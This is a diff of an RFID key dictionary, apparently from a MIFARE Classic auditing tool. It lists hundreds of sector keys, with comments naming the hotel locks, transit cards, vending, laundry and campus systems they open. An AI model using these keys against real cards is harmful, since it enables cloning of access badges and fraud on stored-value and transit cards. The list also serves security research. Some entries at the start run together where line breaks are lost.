+2A6D9205E7CA +2A2C13CC242A +27FBC86A00D0 +01FA3FC68349 +13B91C226E56# HOTEL +6D44B5AAF464 +1717E34A7A8A +# RFIDEAS +6B6579737472 +# HID MIFARE CLASSIC 1K KEY +484944204953 +204752454154 +# HID MIFARE SO +3B7E4FD575AD +11496F97752A + LUXEO/AZTEK CASHLESS VENDING +415A54454B4D# +# BQT +321958042333 +# APERIO KEY_A SECTOR 1, 12, 13, 14, 15 DATA START 0 LENGTH 48 +160A91D29A9C +# GALLAGHER +B7BF0C13066E +# PIK COMFORT MOSCOW KEYS (ISBC MIFARE PLUS SE 1K) +009FB42D98ED +002E626E2820 +# BOSTON, MA, USA TRANSIT - MBTA CHARLIE CARD +# CHARLIE +3060206F5B0A +5EC39B022F2B +3A09594C8587 +F1B9F5669CC8 +F662248E7E89 +62387B8D250D +F238D78FF48F +9DC282D46217 +AFD0BA94D624 +92EE4DC87191 +B35A0E4ACC09 +756EF55E2507 +447AB7FD5A6B +932B9CB730EF +1F1A0A111B5B +AD9E0A1CA2F7 +D58023BA2BDC +62CED42A6D87 +2548A443DF28 +2ED3B15E7C0F +F66224EE1E89 +60012E9BA3FA +DE1FCBEC764B +81BFBE8CACBA +BFF123126C9B +2F47741062A0 +B4166B0A27EA +A170D9B59F95 +400BC9BE8976 +D80511FC2AB4 +1FCEF3005BCF +BB467463ACD6 +E67C8010502D +FF58BA1B4478 +# DATA FROM HTTPS://PASTEBIN.COM/KZ8XP4EV +FBF225DC5D58 +# DATA HTTPS://PASTEBIN.COM/BEM6BDAE +# VINGCARD.TXT +4708111C8604 +3D50D902EA48 +96A301BCE267 +6700F10FEC09 +7A09CC1DB70A +560F7CFF2D81 +66B31E64CA4B +9E53491F685B +3A09911D860C +8A036920AC0C +361F69D2C462 +D9BCDE7FC489 +0C03A720F208 +6018522FAC02 +# DATA FROM HTTPS://PASTEBIN.COM/4T2YFMGT +# MIFARE TECHNISCHE UNIVERSITÄT GRAZ TUG +D58660D1ACDE +50A11381502C +C01FC822C6E5 +0854BF31111E +# MORE KEYS: +8A19D40CF2B5 +AE8587108640 +135B88A94B8B# SAFLOCK STANDALONE DOOR LOCKS. +# RUSSIAN TROIKA CARD 08B386463229 0E8F64340BA4 0F1C63013DBA @@ -539,531 +751,191 @@ EAAC88E5DC99 F8493407799D 6B8BD9860763 D3A297DC2698 -FBF225DC5D58 +# KEYS FROM MIFARECLASSICTOOL PROJECT +044CE1872BC3 +045CECA15535 +0BE5FAC8B06A +0CE7CD2CC72B +0EB23CC8110B +0F01CEFF2742 +0F318130ED18 +114D6BE9440C +18E3A02B5EFF +19FC84A3784B +1B61B2E78C75 +22052B480D11 3367BFAA91DB +3A8A139C20B4 +42E9B54E51AB +46D78E850A7E 4B609876BBA3 -5C83859F2224 -66B504430416 -70D1CF2C6843 +518DC6EEA089 +6B07877E2C5C +7259FA0197C6 +72F96BDD3714 +7413B599C4EA +77DABC9825E1 +7A396F0D633D +7A86AA203788 +8791B2CCB5C4 +8A8D88151A00 8C97CD7A0E56 +8E26E45E7D65 +9D993C5D4EF4 +9EA3387A63C1 +A3FAA6DAFF67 +A7141147D430 +ACFFFFFFFFFF +AFCEF64C9913 +B27ADDFB64B0 +B81F2B0C2F66 B9F8A7D83978 -C4B3BD0ED5F1 -C4D3911AD1B3 -CAD7D4A6A996 -DA898ACBB854 -FEA1295774F9 -807119F81418 -22C8BCD10AAA -0AAABA420191 -E51B4C22C8BC -DBF9F79AB7A2 -34EDE51B4C22 -C8BCD10AAABA -BCD10AAABA42 -2735FC181807 -2ABA9519F574 -84FD7F7A12B6 -186D8C4B93F9 -3A4BBA8ADAF0 -8765B17968A2 -40EAD80721CE -0DB5E6523F7C -51119DAE5216 -83E3549CE42D -136BDB246CAC -2F87F74090D1 -E53EAEFE478F -CE2797E73070 -328A034B93DB -81E1529AE22B -FC55C50E579F -1A72E2337BC3 -5DB52676BE07 -F64FBF085098 -8FE758A8F039 -BB1484CC155D -41990A529AE2 -CD2E9EE62F77 -69C1327AC20B -3C9C0D559DE5 -67BF3880C811 -48A01159A1E9 -2B83FB448CD4 -F24BBB044C94 -7DE02A7F6025 -BF23A53C1F63 -CB9A1F2D7368 -C7C0ADB3284F -9F131D8C2057 -67362D90F973 -6202A38F69E2 -100533B89331 -653A87594079 -D8A274B2E026 -B20B83CB145C -9AFA6CB4FC3D -94F46DB5FD46 -C31C8CD41D65 -BB1684CC155D -CA2393DB246C -1D75E52E76BE -81D9529AE223 -0159C9125AA2 -52AA1B6BB3FB -97EF60A8F031 -6FC73888D011 -3A92FA438BD3 -74CC3D85CD0E -025ACA1B63A3 -AF0878C81151 -9BFB6CB4FC45 -F750C0095199 -075FCF1860A8 -2686EE3F87C7 -277FEF3880C0 -82DA4B93DB1C -9CF46DB5FD46 -93EB64ACF43D -0854BF31111E -0C03A720F208 -135B88A94B8B -1FCEF3005BCF -2F47741062A0 -361F69D2C462 -3A09911D860C -3D50D902EA48 -400BC9BE8976 -4708111C8604 -50A11381502C -560F7CFF2D81 -60012E9BA3FA -6018522FAC02 -66B31E64CA4B -6700F10FEC09 -7A09CC1DB70A -81BFBE8CACBA -8A036920AC0C -8A19D40CF2B5 -96A301BCE267 -9E53491F685B -A170D9B59F95 -AE8587108640 -B4166B0A27EA -BB467463ACD6 -BFF123126C9B -C01FC822C6E5 -D58660D1ACDE -D80511FC2AB4 -D9BCDE7FC489 -DE1FCBEC764B -E67C8010502D -FF58BA1B4478 -C1E51C63B8F5 -4143414F5250 -474249437569 -B0699AD03D17 -B18CDCDE52B7 -3864FCBA5937 -85A438F72A8A -C342F825B01B -C6A76CB2F3B5 -323334353637 -43C7600DEE6B -D01AFEEB890A -26396F2042E7 -F3F0172066B2 -BB320A757099 -00F0BD116D70 -25094DF2C1BD -E41E6199318F -F00DFEEDD0D0 -6D9B485A4845 -71171A82D951 -62711F1A83E9 -1711B1A82E96 -F3864FCCA693 -7B7E752B6A2D -2012053082AD -9AEDF9931EC1 -B9C874AE63D0 -83BAB5ACAD62 -A541538F1416 -4A2B29111213 -D31463A7AB6D -AD5645062534 -B069D0D03D17 -30FFB6B056F5 -D7744A1A0C44 -D1991E71E2C5 -1795902DBAF9 -4243414F5250 -C554EF6A6015 -A5524645CD91 -200306202033 -A00003000084 -CEE3632EEFF5 -F0F0172066B2 -B021669B44BB -3F1A87298691 -A2B2C9D187FB -4B511F4D28DD -E3AD9E9BA5D4 -B3630C9F11C8 -F83466888612 -857464D3AAD1 -A2A3CCA2A3CC -35D850D10A24 -B2F170172066 -0D8CA561BDF3 -05F89678CFCF -850984712F1A -21EDF95E7433 -172066B2F2F0 -6B2F1B017206 -363119000001 -23D4CDFF8DA3 -EF4C5A7AC6FC -123456ABCDEF -8F9B229047AC -E96246531342 -5D293AFC8D7E -AABBCC660429 -63FCA9492F38 -354A787087F1 -40E5EA1EFC00 -675A32413770 -12FD3A94DF0E -C4F271F5F0B3 -4A306E62E9B6 -4CFF128FA3EF -0000085F0000 -0F385FFB6529 -FA38F70215AD -904735F00F9E -B66AC040203A -BCFE01BCFE01 -2FCA8492F386 -237A4D0D9119 -E6849FCC324B -0ED7846C2BC9 -1FB235AC1388 -EA1B88DF0A76 -C9739233861F -89EAC97F8C2A -D964406E67B4 -563A22C01FC8 -DB5181C92CBE -1E352F9E19E5 -6291B3860FC8 -A9A4045DCE77 -434456495243 -B5F454568271 -491CDC863104 -4D8B8B95FDEE -AFBECD121004 -4D48414C5648 -E1DD284379D4 -AFBECD120454 -CFC738403AB0 -0AF7DB99AEE4 -772219470B38 -EF61A3D48E2A -4A4C474F524D -0172066B2F03 -3D5D9996359A -66A163BA82B4 -2011092119F1 -BB2C0007D022 -1494E81663D7 -590BD659CDD2 -A6C028A12FBB -BCF5A6B5E13F -A2F63A485632 -39CF885474DD -D2ECE8B9395E -17505586EF02 -70172066B2F0 -B385EFA64290 -B7C344A36D88 -010000000000 -2F130172066B -DFED39FFBB76 -3F7A5C2DBD81 -DFE73BE48AC6 -FB0B20DF1F34 -913385FFB752 -2066B2F27017 -91FF18E63887 -0734BFB93DAB -97F5DA640B18 -B42C4DFD7A90 -C121FF19F681 -BE7C4F6C7A9A -FE04ECFE5577 -18F34C92A56E -0BB31DC123E5 -0E0E8C6D8EB6 -1CFA22DBDFC3 -0F1A81C95071 -AA4D051954AC -9F9D8EEDDCCE -863FCB959373 -98631ED2B229 -A23456789123 -833FBD3CFE51 -AB28A44AD5F5 -74A386AD0A6D -4C60F4B15BA8 -022FE48B3072 -97271231A83F -385EFA542907 -066B2F230172 -BA729428E808 -BDF837787A71 -A05DBD98E0FC -395244733978 -9B1DD7C030A1 -2C9F3D45BA13 -1DB710648A65 -E65B66089AFC -A85198481331 -5A12F83326E7 -A7D71AC06DC2 -64E2283FCF5E -FFFFAE82366C -10F3BEBC01DF +BAFF3053B496 +BB52F8CCE07F +BC2D1791DEC1 +BC4580B7F20B +C65D4EAA645B +C76BF71A2509 +D5524F591EED +E328A1C7156D +E4821A377B75 +E56AC127DD45 +EA0FD73CB149 +FC0001877BF7 +FD8705E721B0 00ADA2CD516D -1D28C58BBE8A -6936C035AE1B -AC45AD2D620D -64A2EE93B12B -A9F95891F0A4 -E45230E7A9E8 -A7FB4824ACBF -223C3427108A -58AC17BF3629 -535F47D35E39 -10F2BBAA4D1C -A0004A000036 -3F3865FCCB69 -0B0172066B2F -4098653289D3 -BA28CFD15EE8 -A22647F422AE -99858A49C119 -29173860FC76 -1A80B93F7107 -1A2B3C4D5E6F -2C60E904539C -6C9EC046C1A4 -FC9839273862 -1C1532A6F1BC -09800FF94AAF -FFFFD06F83E3 -0B83797A9C64 -13B91C226E56 -A4EF6C3BB692 -000000270000 -A00002000021 -872B71F9D15A -A37A30004AC9 -B1A862985913 -A4CDFF3B1848 -2E641D99AD5B -827ED62B31A7 -CD212889C3ED -B1A80C94F710 -CB911A1A1929 -A844F4F52385 -C0BEEFEC850B -5C8FF9990DA2 -160F4B7AB806 -B8937130B6BA -66B2F1F01720 -82D58AA49CCB -A9B43414F585 -C38197C36420 -0172066B2F33 -434143445649 -34B16CD59FF8 -5A7A52D5E20D -6471A5EF2D1A -F57F410E18FF -3B0172066B2F -E907470D31CC -B8457ACC5F5D -67CC03B7D577 -A8844B0BCA06 -435330666666 -B47058139187 -46868F6D5677 -C27D999912EA -37FC71221B46 -F97371271A84 -AE43F36C1A9A -5EC7938F140A -AA734D2F40E0 -A5A4A3A2A1A0 -70172066B2F3 -03EA4053C6ED -06FF5F03AA1A -5554AAA96321 -0120BF672A64 -87291F3861FC +237A4D0D9119 +0ED7846C2BC9 +# HOTEL ADINA 9EBC3EB37130 -B4C36C79DA8D -43CA22C13091 -6D0B6A2A0003 -FB6C88B7E279 -013940233313 -7DD399D4E897 -ED3A7EFBFF56 -68F9A1F0B424 -6476FA0746E7 -1A8619858137 -1131A81D9507 -8268046CD154 -4857DD68ECD9 -B62307B62307 -C6C866AA421E -F66224EE1E89 -4ECCA6236400 -72066B2F2B01 -34D3C568B348 -000131B93F28 -419A13811554 -B6323F550F54 -F89C86B2A961 -B268F7C9CA63 -B8B1CFA646A8 -4D57414C5648 -6A0E215D1EEB -70758FDD31E0 -37D4DCA92451 -444156494442 -B210CFA436D2 -207FFED492FD -7578BF2C66A9 -50983712B1A8 -5A85536395B3 -B81846F06EDF -842146108088 +# MOST LIKELY DIVERSED INDIVIDUAL KEYS. +# DATA FROM HTTPS://GITHUB.COM/KORSEHINDI/PROXMARK3/COMMIT/24FDBFA9A1D5C996AAA5C192BC07E4AB28DB4C5C +491CDC863104 +A2F63A485632 +98631ED2B229 19F1FFE02563 -D3B595E9DD63 +# ARGENTINA +563A22C01FC8 +43CA22C13091 +25094DF2C1BD +# OMNITEC.ES HOTEL TIMECARD / MAINTENANCECARD +AFBECD120454 +# OMNITEC.ES HOTEL EMERGENCYCARD +842146108088 +# TAPCARD PUBLIC TRANSPORT LA +EA1B88DF0A76 +D1991E71E2C5 +05F89678CFCF +D31463A7AB6D +C38197C36420 +772219470B38 +1C1532A6F1BC +FA38F70215AD +E907470D31CC +160F4B7AB806 +1D28C58BBE8A B3830B95CA34 -A506370E7C0F +6A0E215D1EEB +E41E6199318F +C4F271F5F0B3 +1E352F9E19E5 +0E0E8C6D8EB6 +C342F825B01B +CB911A1A1929 +E65B66089AFC +B81846F06EDF +37FC71221B46 880C09CFA23C -43454952534E -39AD2963D3D1 +6476FA0746E7 +419A13811554 +2C60E904539C +4ECCA6236400 +10F2BBAA4D1C +4857DD68ECD9 +C6A76CB2F3B5 +E3AD9E9BA5D4 +6C9EC046C1A4 +# ROC HIGHSCHOOL ACCESSCARD +B021669B44BB +B18CDCDE52B7 +A22647F422AE +B268F7C9CA63 +A37A30004AC9 +B3630C9F11C8 +A4CDFF3B1848 +B42C4DFD7A90 +A541538F1416 +B5F454568271 +A6C028A12FBB +B6323F550F54 +A7D71AC06DC2 +B7C344A36D88 +A844F4F52385 +B8457ACC5F5D +A9A4045DCE77 B9B8B7B6B5B3 -82908B57EF4F -C67BEB41FFBF -2AFFD6F88B97 -E77952748484 -988ACDECDFB0 -605F5E5D5C5B -42EF7BF572AB -4087C6A75A96 -AADE86B1F9C1 -5EA088C824C9 -120D00FFFFFF -CA679D6291B0 -E2A9E88BFE16 -0A4600FF00FF -43B04995D234 -0602721E8F06 -5F31F6FCD3A0 -4AE23A562A80 -A0974382C4C5 -91C2376005A1 -FEE2A3FBC5B6 -2602FFFFFFFF -CA3A24669D45 -A9F3F289B70C -B84D52971107 -274E6101FC5E -00DD300F4F10 -F7BA51A9434E -4A832584637D -B16B2E573235 -A82045A10949 -FC0B50AF8700 -403F09848B87 -DFF293979FA7 -4118D7EF0902 -30B7680B2BC9 -52B0D3F6116E -5296C26109D4 -DB6819558A25 -4D6F62692E45 -0406080A0C0E -6130DFA578A0 -30D9690FC5BC -D73438698EEA -005078565703 -7C87013A648A -9E7168064993 -45FEE09C1D06 -734EBE504CE8 -E592ED478E59 -C229CE5123D5 -240F0BB84681 -D8BA1AA9ABA0 -865B6472B1C0 -974A36E2B1BA -57D83754711D -C9CD8D7C65E5 -C197AE6D6990 -AABAFFCC7612 -C0AD1B72921A -AFAAFCC40DEC -E902395C1744 -DAC7E0CBA8FD -755D49191A78 -68D3263A8CD6 -2F8A867B06B4 -7357EBD483CC -ABCC1276FCB0 -26BF1A68B00F -704A81DDACED -E8794FB14C63 -EC070A52E539 -037F64F470AD -76939DDD9E97 -4D80A10649DF -89E00BC444EF -26107E7006A0 -B1D3BC5A7CCA -ECC58C5D34CA -9F97C182585B -B2FE3B2875A6 -B70B1957FE71 -E495D6E69D9C -0860318A3A89 -4051A85E7F2D -17D071403C20 -3BF391815A8D -1927A45A83D3 -CE7712C5071D -F3C1F1DB1D83 -D0DDDF2933EC -A3A26EF4C6B0 -2C3FEAAE99FC -E85B73382E1F -F4ED24C2B998 -CB574C6D3B19 -E092081D724B -B38D82CF7B6C -8228D2AA6EFA -2C7E983588A3 -CF7A7B77E232 -32A7F5EAF87D -7453A687B5F0 -01A0C008A5B9 -DEC0CEB0CE24 -413BED2AE45B -D6261A9A4B3F -CB9D507CE56D +AA4D051954AC +BA729428E808 +AB28A44AD5F5 +BB320A757099 +AC45AD2D620D +BCF5A6B5E13F +AD5645062534 +BDF837787A71 +AE43F36C1A9A +BE7C4F6C7A9A +5EC7938F140A +82D58AA49CCB +# MELONCARD +323334353637 +CEE3632EEFF5 +827ED62B31A7 +03EA4053C6ED +C0BEEFEC850B +F57F410E18FF +0AF7DB99AEE4 +A7FB4824ACBF +207FFED492FD +1CFA22DBDFC3 +30FFB6B056F5 +39CF885474DD +00F0BD116D70 +4CFF128FA3EF +10F3BEBC01DF +# TRANSPORTES INSULAR LA PALMA +0172066B2F03 +0000085F0000 +1A80B93F7107 +70172066B2F0 +B1A80C94F710 +0B0172066B2F +0F1A81C95071 +F0F0172066B2 +1131A81D9507 +2F130172066B +71171A82D951 +B2F170172066 +1711B1A82E96 +6B2F1B017206 +62711F1A83E9 +66B2F1F01720 +97271231A83F +066B2F230172 +F97371271A84 +2066B2F27017 +50983712B1A8 +72066B2F2B01 +850984712F1A +172066B2F2F0 +A85198481331 +0172066B2F33 +1A8619858137 +70172066B2F3 +B1A862985913 +3B0172066B2F +3F1A87298691 +F3F0172066B2 +# TEHRAN EZPAY 38A88AEC1C43 CBD2568BC7C6 7BCB4774EC8F @@ -1079,134 +951,346 @@ D3B1C7EA5C53 604AC8D87C7E 8E7B29460F12 BB3D7B11D224 -DC018FC1D126 -C428C4550A75 -0C4233587119 -5B0C7EC83645 -540D5E6355CC -35C649004000 -CFE63749080A -6307417353C1 -411053C05273 -749934CC8ED3 -1C68315674AC -35D152154017 -D1417E431949 -26B85DCA4321 -D973D917A4C7 -3A471B2192BF -534F4C303232 -730956C72BC2 -C9449301AF93 -F678905568C3 -4578ABFEDC12 -075D1A4DD323 -43E69C28F08C -0F35D5660653 -F7FA2F629BB1 -5145C34DBA19 -124578ABFEDC -E2F14D0A0E28 -C8AACD7CF3D1 -9C616585E26D -4927C97F1D57 -6F30126EE7E4 -155332417E00 -5353B3AECB53 -361A62F35BC9 -00460740D722 -A9B018868CC1 -2E71D3BD262A -4F75030AD12B -42454C4C4147 -D75971531042 -25352912CD8D -51E97FFF51E9 -1170553E4304 -D1F71E05AD9D -541C417E57C0 -AE76242931F1 -6039ABB101BB -0E620691B9FE -4BF6DE347FB6 -10510049D725 -1F0128447C00 -D14E615E0545 -94B6A644DFF6 -81B20C274C3F -66695A45C9FA -130662240200 -DD0DE3BA08A6 -05F5EC05133C -4FA9EB49F75E -C1E6F8AFC9EC -28D70900734C -32CA52054416 -703265497350 -3D923EB73534 -C151D998C669 +# CHACO +B210CFA436D2 +B8B1CFA646A8 +A9F95891F0A4 +# KEYS FROM APK APPLICATION "SCAN BADGE" +4A4C474F524D +444156494442 +434143445649 +434456495243 +A00002000021 +EF61A3D48E2A +A23456789123 +010000000000 +363119000001 +A00003000084 +675A32413770 +395244733978 +A0004A000036 +2C9F3D45BA13 +4243414F5250 +DFE73BE48AC6 +B069D0D03D17 +000131B93F28 +# FROM THE DFW AREA, TX, USA +A506370E7C0F +26396F2042E7 +70758FDD31E0 +9F9D8EEDDCCE +06FF5F03AA1A +4098653289D3 +904735F00F9E +B4C36C79DA8D +68F9A1F0B424 +5A85536395B3 +7DD399D4E897 +EF4C5A7AC6FC +B47058139187 +8268046CD154 +67CC03B7D577 +# FROM THE HTL MÖDLING, NÖ, AT +A5524645CD91 +D964406E67B4 +99858A49C119 +7B7E752B6A2D +C27D999912EA +66A163BA82B4 +4C60F4B15BA8 +# CAFE + CO, AT +35D850D10A24 +4B511F4D28DD +E45230E7A9E8 +535F47D35E39 +FB6C88B7E279 +# METRO CARD, AT +223C3427108A +# UNKNOWN, AT +23D4CDFF8DA3 +E6849FCC324B +12FD3A94DF0E +0B83797A9C64 +39AD2963D3D1 +# HOTEL BERLIN CLASSIC ROOM A KEY +34B16CD59FF8 +# HOTEL BERLIN CLASSIC ROOM B KEY +BB2C0007D022 +# COINMATIC LAUNDRY SMART CARD +# DATA FROM: HTTPS://PASTEBIN.COM/XZQILTUF +0734BFB93DAB +85A438F72A8A +# DATA FROM FORUM, CHINESE HOTEL +58AC17BF3629 +B62307B62307 +A2A3CCA2A3CC +# GRANADA, ES TRANSPORT CARD +000000270000 +0F385FFB6529 +29173860FC76 +2FCA8492F386 +385EFA542907 +3864FCBA5937 +3F3865FCCB69 +6291B3860FC8 +63FCA9492F38 +863FCB959373 +87291F3861FC +913385FFB752 +B385EFA64290 +C9739233861F +F3864FCCA693 +FC9839273862 +# VARIOUS HOTEL KEYS +34D3C568B348 +91FF18E63887 +4D8B8B95FDEE +354A787087F1 +4A306E62E9B6 +B9C874AE63D0 +# DATA FROM OFFICIAL REPO +F00DFEEDD0D0 +0BB31DC123E5 +7578BF2C66A9 +CD212889C3ED +6936C035AE1B +C6C866AA421E +590BD659CDD2 +AA734D2F40E0 +09800FF94AAF +5A12F83326E7 +C554EF6A6015 +0D8CA561BDF3 +B8937130B6BA +D7744A1A0C44 +82908B57EF4F +FE04ECFE5577 +# COMFORT INN HOTEL +4D57414C5648 +4D48414C5648 +# UNKNOWN HOTEL KEY +6D9B485A4845 +5A7A52D5E20D# BOSCH SOLUTION 6000 +# FOUND IN TAGINFO APP +# RATB KEY +C1E51C63B8F5 +1DB710648A65 +# E-GO CARD KEY +18F34C92A56E +# LIBRARY CARD MFP - SL1 +4A832584637D +CA679D6291B0 +30D9690FC5BC +5296C26109D4 +E77952748484 +91C2376005A1 +30B7680B2BC9 +E2A9E88BFE16 +43B04995D234 +AADE86B1F9C1 +5EA088C824C9 +C67BEB41FFBF +B84D52971107 +52B0D3F6116E +# DATA FROM HTTPS://PASTEBIN.COM/CLSQQ9XN +CA3A24669D45 +4087C6A75A96 +403F09848B87 +D73438698EEA +5F31F6FCD3A0 +A0974382C4C5 +A82045A10949 +# DATA FROM HTTPS://PASTEBIN.COM/2IV8H93H +# FUNNIVARIUM +# FORUM ANKARA +2602FFFFFFFF +# MACERA ADASI +# ANKARA KENTPARK +# INACTIVE +0A4600FF00FF +DFF293979FA7 +4D6F62692E45 +4118D7EF0902 +# PETROL OFISI +# POSITIVE CARD +# ODE-GEC +0406080A0C0E +# KONYA ELKART +988ACDECDFB0 +120D00FFFFFF +# BOWLINGO +# SERDIVAN AVYM +4AE23A562A80 +# KART54 +2AFFD6F88B97 +A9F3F289B70C +DB6819558A25 +6130DFA578A0 +B16B2E573235 +42EF7BF572AB +274E6101FC5E +# CRAZY PARK +# KIZILAY AVM +00DD300F4F10 +# KARTSISTEM B +FEE2A3FBC5B6 +# TORU ENT +# TAURUS AVM +005078565703 +# VING? +0602721E8F06 +FC0B50AF8700 +F7BA51A9434E +# ESKART +# ESKISEHIR TRANSPORT CARD +E902395C1744 +4051A85E7F2D +7357EBD483CC +D8BA1AA9ABA0 +76939DDD9E97 +3BF391815A8D +# MUZEKART +# MUSEUM CARD FOR TURKEY +7C87013A648A +E8794FB14C63 +9F97C182585B +EC070A52E539 +C229CE5123D5 +E495D6E69D9C +26BF1A68B00F +B1D3BC5A7CCA +734EBE504CE8 +974A36E2B1BA +C197AE6D6990 +4D80A10649DF +037F64F470AD +C9CD8D7C65E5 +B70B1957FE71 +CE7712C5071D +C0AD1B72921A +45FEE09C1D06 +E592ED478E59 +F3C1F1DB1D83 +704A81DDACED +89E00BC444EF +AFAAFCC40DEC +ECC58C5D34CA +57D83754711D +D0DDDF2933EC +240F0BB84681 +9E7168064993 +2F8A867B06B4 +# BURSAKART +# BURSA TRANSPORT CARD +755D49191A78 +DAC7E0CBA8FD +68D3263A8CD6 +865B6472B1C0 +0860318A3A89 +1927A45A83D3 +B2FE3B2875A6 +# PLAYLAND +# MALTEPE PARK +ABCC1276FCB0 +AABAFFCC7612 +# LUNASAN +# KOCAELI FAIR +26107E7006A0 +# GAMEFACTORY +# OZDILEK +17D071403C20 534F4C415249 -70C714869DC7 -A7395CCB42A0 -89AA9D743812 -A160FCD5EC4C -9DCDB136110C -9951A273DEE7 -AA0857C641A3 +534F4C303232 +# NESPRESSO, SMART CARD +# KEY-GEN ALGO, THESE KEYS ARE FOR ONE CARD +FF9A84635BD2 +6F30126EE7E4 +6039ABB101BB F1A1239A4487 B882FD4A9F78 -9386E2A48280 -460661C93045 -EF1232AB18A0 -6285A1C8EB5C -C41514DEFC07 -ABFEDC124578 -046154274C11 -5429D67E1F57 -E7316853E731 CD7FFFF81C4A -F253C30568C4 -E7D6064C5860 -506DB955F161 -8223205047B6 -070D486BC555 -D4B2D140CB2D -0C734F230E13 -2E4169A5C79D -69D92108C8B5 -A297CEB7D34B -FF9A84635BD2 -735175696421 -5D0762D13401 -D61707FFDFB1 -2803BCB0C7E1 -C52876869800 -424C0FFBF657 -AF9E38D36582 -B32464412EE3 -50240A68D1D8 -6B13935CD550 -83F3CB98C258 -521B517352C7 -4BB747E48C2A -5E594208EF02 -FFFFFF545846 -D65561530174 -52750A0E592A -112233445566 -2DADE48942C5 -A7765C952DDF -2CA4A4D68B8E -72B458D60363 -F088A85E71D7 -FF94F86B09A6 -B27CCAB30DBD -89ECA97F8C2A -E00000000000 +AA0857C641A3 +C8AACD7CF3D1 9FFDA233B496 +26B85DCA4321 +D4B2D140CB2D +A7395CCB42A0 +541C417E57C0 +D14E615E0545 +69D92108C8B5 +703265497350 +D75971531042 +10510049D725 +35C649004000 +5B0C7EC83645 +05F5EC05133C +521B517352C7 +94B6A644DFF6 +2CA4A4D68B8E +A7765C952DDF +E2F14D0A0E28 +DC018FC1D126 +4927C97F1D57 +046154274C11 +155332417E00 +6B13935CD550 +C151D998C669 +D973D917A4C7 +130662240200 +9386E2A48280 +52750A0E592A +075D1A4DD323 +32CA52054416 +460661C93045 +5429D67E1F57 +0C734F230E13 +1F0128447C00 +411053C05273 +42454C4C4147 +C428C4550A75 +730956C72BC2 +28D70900734C +4F75030AD12B +6307417353C1 +D65561530174 +D1F71E05AD9D +F7FA2F629BB1 +0E620691B9FE +43E69C28F08C +735175696421 +424C0FFBF657 +51E97FFF51E9 +E7316853E731 +00460740D722 +35D152154017 +5D0762D13401 +0F35D5660653 +1170553E4304 +0C4233587119 +F678905568C3 +50240A68D1D8 +2E71D3BD262A +540D5E6355CC +D1417E431949 +4BF6DE347FB6 +3A471B2192BF +A297CEB7D34B +AE76242931F1 +124578ABFEDC +ABFEDC124578 +4578ABFEDC12 +# DATA FROM +# PREMIER INN HOTEL CHAIN +5E594208EF02 +AF9E38D36582 +#NORWEGIAN BUILDING SITE IDENTICATION CARD. (HMS KORT) 10DF4D1859C8 +# KEY B B5244E79B0C8 +# UKRAINE HOTEL F5C1C4C5DE34 +# DATA FROM MIFARE CLASSIC TOOL REPO +# ROTTERDAM UNIVERSITY OF APPLIED SCIENCES CAMPUS CARD BB7923232725 A95BD5BB4FC5 B099335628DF @@ -1229,651 +1313,180 @@ B5ADEFCA46C4 BF3FE47637EC B290401B0CAD AD11006B0601 -A0A1A2A8A4A5 +# ARMENIAN METRO +E4410EF8ED2D +6A68A7D83E11 0D6057E8133B D3F3B958B8A3 -6A68A7D83E11 -7C469FE86855 -E4410EF8ED2D 3E120568A35C -CE99FBC8BD26 2196FAD8115B -009FB42D98ED -002E626E2820 -ffffffffffff -a0a1a2a3a4a5 -b0b1b2b3b4b5 -c0c1c2c3c4c5 -d0d1d2d3d4d5 -aabbccddeeff -4d3a99c351dd -1a982c7e459a -d3f7d3f7d3f7 -5a1b85fce20a -714c5c886e97 -587ee5f9350f -a0478cc39091 -533cb6c723f6 -8fd0a4f256e9 -e00000000000 -e7d6064c5860 -b27ccab30dbd -d2ece8b9395e -569369c5a0e5 -632193be1c3c -644672bd4afe -8fe644038790 -9de89e070277 -b5ff67cba951 -eff603e1efe9 -f14ee7cae863 -fc00018778f7 -0297927c0f77 -54726176656c -00000ffe2488 -ee0042f88840 -26940b21ff5d -a64598a77478 -5c598c9c58b5 -e4d2770a89be -722bfcc5375f -f1d83f964314 -47524f555041 -47524f555042 -434f4d4d4f41 -434f4d4d4f42 -4b0b20107ccb -00000000000a -00000000000b -0123456789ab -123456789abc -12f2ee3478c1 -14d446e33363 -1999a3554a55 -27dd91f1fcf1 -33f974b42769 -34d1df9934c5 -43ab19ef5c31 -55f5a5dd38c9 -99c636334433 -a00000000000 -a053a292a4af -a94133013401 -aaaaaaaaaaaa -abcdef123456 -b00000000000 -b127c6f41436 -bbbbbbbbbbbb -bd493a3962b6 -c934fe34d934 -cccccccccccc -dddddddddddd -eeeeeeeeeeee -f1a97341a9fc -44ab09010845 -85fed980ea5a -a9b43414F585 -f4a9ef2afc6d -89eac97f8c2a -43c7600dee6b -0120bf672a64 -fb0b20df1f34 -a9f953def0a3 -74a386ad0a6d -3f7a5c2dbd81 -21edf95e7433 -c121ff19f681 -3d5d9996359a -48ffe71294a0 -e3429281efc1 -16f21a82ec84 -3e65e4fb65b3 -25094df6f148 -a05dbd98e0fc -d3b595e9dd63 -afbecd121004 -6471a5ef2d1a -4E3552426B32 -22BDACF5A33F -6E7747394E63 -763958704B78 -1322285230b8 -2735fc181807 -2aba9519f574 -84fd7f7a12b6 -186d8c4b93f9 -3a4bba8adaf0 -8765b17968a2 -40ead80721ce -0db5e6523f7c -51119dae5216 -83e3549ce42d -136bdb246cac -7de02a7f6025 -bf23a53c1f63 -cb9a1f2d7368 -c7c0adb3284f -9f131d8c2057 -67362d90f973 -6202a38f69e2 -100533b89331 -653a87594079 -d8a274b2e026 -b20b83cb145c -9afa6cb4fc3d -a229e68ad9e5 -49c2b5296ef4 -0d258fe90296 -e55a3ca71826 -a4f204203f56 -eeb420209d0c -911e52fd7ce4 -752fbb5b7b45 -66b03aca6ee9 -48734389edc3 -17193709adf4 -1acc3189578c -c2b7ec7d4eb1 -369a4663acd2 -26973ea74321 -71f3a315ad26 -51044efb5aab -ac70ca327a04 -eb0a8ff88ade -2803bcb0c7e1 -9c616585e26d -4fa9eb49f75e -2dade48942c5 -a160fcd5ec4c -361a62f35bc9 -83f3cb98c258 -070d486bc555 -a9b018868cc1 -9dcdb136110c -749934cc8ed3 -506db955f161 -f088a85e71d7 -72b458d60363 -70c714869dc7 -b32464412ee3 -f253c30568c4 -1c68315674ac -cfe63749080a -c1e6f8afc9ec -dd0de3ba08a6 -3d923eb73534 -ff94f86b09a6 -d61707ffdfb1 -8223205047b6 -9951a273dee7 -c9449301af93 -66695a45c9fa -89aa9d743812 -c41514defc07 -c52876869800 -5353b3aecb53 -2e4169a5c79d -4bb747e48c2a -6285a1c8eb5c -5145c34dba19 -25352912cd8d -81b20c274c3f 